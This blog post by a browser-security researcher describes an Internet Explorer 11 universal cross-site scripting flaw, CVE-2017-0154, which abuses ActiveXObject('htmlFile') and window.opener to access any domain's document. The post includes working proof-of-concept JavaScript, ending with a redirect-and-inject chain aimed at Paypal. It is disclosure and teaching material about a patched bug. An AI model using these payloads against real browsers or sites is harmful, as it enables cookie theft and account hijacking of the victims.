Today we are going to explore a feature that has been present on Internet Explorer almost since its inception. A feature that allows web-developers to instantiate external objects, and because of that it was abused ad-nauseum by attackers. Do you guess which feature are we talking about? The ActiveXObject.
Even if these days it is restricted and we can’t happily render Excel spreadsheets anymore, there are still tons of things that can be done. We are going to build a reliable UXSS/SOP bypass, allowing us to access the document of any domain, which of course includes cookies and every imaginable thing.
But bug hunter, don’t think of the ActiveXObject as just another UXSS. It is the perfect element for the attacker because it has countless of vulnerabilities as we will see in the following posts. I wholeheartedly suggest you to explore this object, and tons of things will stumble upon you.
Different containers to render HTML
There are several ways to render HTML inside a browser and the first thing that comes to my mind is the IFRAME tag, but we can do the same with an OBJECT or even an EMBED tag.
In fact, there are objects that allow us to logically render HTML but aren’t visible at all. For example: implementation.createDocument, implementation.createHTMLDocument and even the XMLHttpRequest can return a document object instead of text/xml.
These HTML documents have many similarities with the ones from iframes/windows, but not everything is included. For example, some of them can’t execute scripts, others don’t have any associated window so they miss methods like window.open, etc. In other words, these documents have their limitations.
But Internet Explorer has several other ways to render HTML, and one of my favorites it to instantiate an “htmlFile” with the help of the ActiveXObject. This type of document has limitations also, but at least it is capable of running scripts. Take a look at the code below.
doc = new ActiveXObject("htmlFile");
This ActiveXObject creates something similar to a WebBrowser control (essentially like an iframe) and returns a reference to its document object. To get access to the window object we will use the old parentWindow or Script because defaultView is not supported here.
win = doc.defaultView; // Not supported. win = doc.Script; // Returns the window object of doc. win = doc.parentWindow; // Returns the window object of doc.
I’m a fan of “Script” so that’s what I’ll use. By the way, I’m curious, what is the location of this ActiveXObject?
Pretty interesting! The next question -for me- would be: is the window object of this document the same as the one that we are working on? I mean, does it have a real window or is it shared with its parent/creator?
// Remember: // win is the window object of the ActiveXObject. // window is the window object of the main window. alert(win == window); // false
So we arrive to the conclusion that the ActiveXObject window is different from the main one, which means it has its own window. I would love to know now who is its top. Does the ActiveXObject think it’s the top?
Wow! win believes it is the top, which makes me think that it’s probably vulnerable to XFO bypasses and insecure requests (no SSL in top SSL). Write down those ideas! At least this is how I work: when something interesting comes to my mind I immediately take note, so I can keep the focus on the original goal without letting those ideas vanish in the grey matter ocean. 🙂
Anyway, another thing that I’m curious about is the domain of this document. What is it?
alert(doc.domain); // The same domain as the top page
It returns the same domain as the main window, which is no big deal but it deserves more testing. Ideas are flowing.
Retrieving the top document.domain
At this point my first question was: what would happen if we change the base href of the main page, and then instantiate this ActiveX? Will it have the same domain of the page or the one from the base href?
The idea didn’t work, but do not underestimate the base href when creating objects because it worked wonders in the past and it will likely work in the future. Check out how we recently did it in the workers SOP bypass.
Anyway, I tried another option: created the ActiveXObject from within an iframe on a different domain. In other words, the same code but now executed from a different-domain iframe.
<!-- Main page in https://www.cracking.com.ar renders the iframe below --> <iframe src="https://www.brokenbrowser.com/demos/sop-ax-htmlfile/retrievetopdomain.html"></iframe> <!-- iFrame code on a different domain --> <script> doc = new ActiveXObject("htmlFile"); alert(doc.domain); // Bang! Same as top!! </script>
To my surprise, the ActiveXObject was created with the top domain instead of the iframe. Bingo!
[ IE11 Proof of Concept ]
Patched on 2017-03-14 – CVE-2017-0154
Of course retrieving the domain of the main page is not a full SOP bypass, but it’s solid evidence that we are dealing with a confused browser. It’s a matter of pushing deeper until IE gives up. With a bit of JavaScript, passion and persistence, we will make it.
Passing a reference to the top
Our goal now is to share a reference of the top window with the ActiveXObject, to see if it has the power to access. If its document.domain is the same as the top, it should be able to access! But there’s another challenge here: from the browser point of view, this ActiveXObject is not fully initialized. This means that we can’t create variables or change the value of any member. Imagine a frozen object where you can’t add/remove/change anything.
doc = new ActiveXObject("htmlFile"); win = doc.Script; win.myTop = top; // Browser not initialized, variable is not set win.execScript("alert(win.myTop)"); // undefined
In a regular window it should work, but not with this ActiveXObject unless we initialize it using document.open. The problem is, if we initialize the object then IE will set its domain correctly blowing up our trick. Check this out to see exactly what I mean.
doc = new ActiveXObject("htmlFile"); alert(doc.domain); // alerts the top domain (SOP bypass) doc.open(); // Initialize the document alert(doc.domain); // alerts the iFrame domain (No more SOP bypass)
So how can we pass the top window object to the ActiveXObject? Think think think think. There is a very special place in every window that is readable and writable before everything else. What is it? The opener! Yes, window.opener is our friend so let’s try!
doc = new ActiveXObject("htmlFile"); win = doc.Script; win.opener = top; win.execScript("alert(opener.document.URL)"); // Full SOP bypass
[ IE11 Proof of Concept ]
Patched on 2017-03-14 – CVE-2017-0154
Yes! The opener trick worked. Now we have full access to the top document regardless of our domain. Our iframe can be inside of another iframe or deeply nested like a Matryoshka doll inside infinite iframes on different domains but still, it will be able to access the top. That’s power! 🙂
So, we have a working UXSS but it still has a problem: it needs to be loaded inside an iframe and I don’t think any targeted site will be so generous to render our tricky bits in their iframes, right? But think about all the banner ads that are running now: they are rendered in iframes and they have access to the top! This means that Facebook ads, Yahoo! ads and any untrusted content running in iframes has access to the main page. If we are on Facebook, the ads can post content on our behalf, access our contacts and cookies without restrictions.
We should go further and find a way to get the site cookies with no help. How can we make this work on an arbitrary non-cooperative site? Can we run in a site without iframes at all? Many solutions come to my mind but the first and easiest is: [redirect] + [thread block] + [inject]. The technique is super-easy but it deserves a small explanation.
Injecting content everywhere
There’s a a way to inject HTML/Script on any window/iframe regardless of its domain before the target site has a chance to load. For example, let’s say we open a new window with a server-redirect to Paypal. Before the redirect happens we still have access to the window, but once the redirect loads the new URL we won’t have access anymore, right? In fact, when the redirection happens, IE destroys every element that is in the window before rendering the new content.
But what will happen if we inject an element into the page, before the redirection? More, what would happen if after the injection we block the thread without giving IE a chance to destroy the object but letting the redirection happen? The new webpage will keep the old (injected) content because IE was incapable of removing it.
In this case we will use an alert as the thread-blocker, but there are other ways to achieve the same thing. Let’s recap what we need to do before coding:
- Open a new window with a redirect to Paypal.
- Before the redirect happens, inject an iframe.
- After the redirection happened, create the ActiveXObject from within the iframe.
- Bang! That’s it. Now the ActiveXObject has the same domain as the main window.
And here’s the working code.
w = window.open("redir.php?URL=https://www.paypal.com"); // Create and inject an iframe in the target window ifr = w.document.createElement('iframe'); w.document.appendChild(ifr); // Initialize the iframe w[0].document.open(); w[0].document.close(); // Pass a reference to the top window // So the iframe can access even after the redirect. w[0]._top = w; // Finally, once Paypal is loaded (or loading, same thing) we create the // ActiveXObject within the injected iframe. w[0].setTimeout('alert("[ Thread Blocked to prevent iFrame destruction ]\\n\\nClose this alert once the address bar changes to the target site.");' + 'doc = new ActiveXObject("htmlFile");' + 'doc.Script.opener = _top;' + 'doc.Script.setTimeout("opener.location = \'javascript:alert(document.all[0].outerHTML)\'");');
[ IE11 Proof of Concept ]
Fellow bug hunter, don’t stop here. Keep playing with the ActiveXObject because it’s full of things waiting to be discovered. Can you make this PoC cleaner, with less code? Can you build a thread blocker without the alert? Good luck!
Did I say luck? Oh no no, sorry, I just meant: be persistent until you find your bug. If that means luck to you, be lucky then! But for me, it means passion and persistence. The only needed ingredients to find security vulnerabilities.
Have a nice day!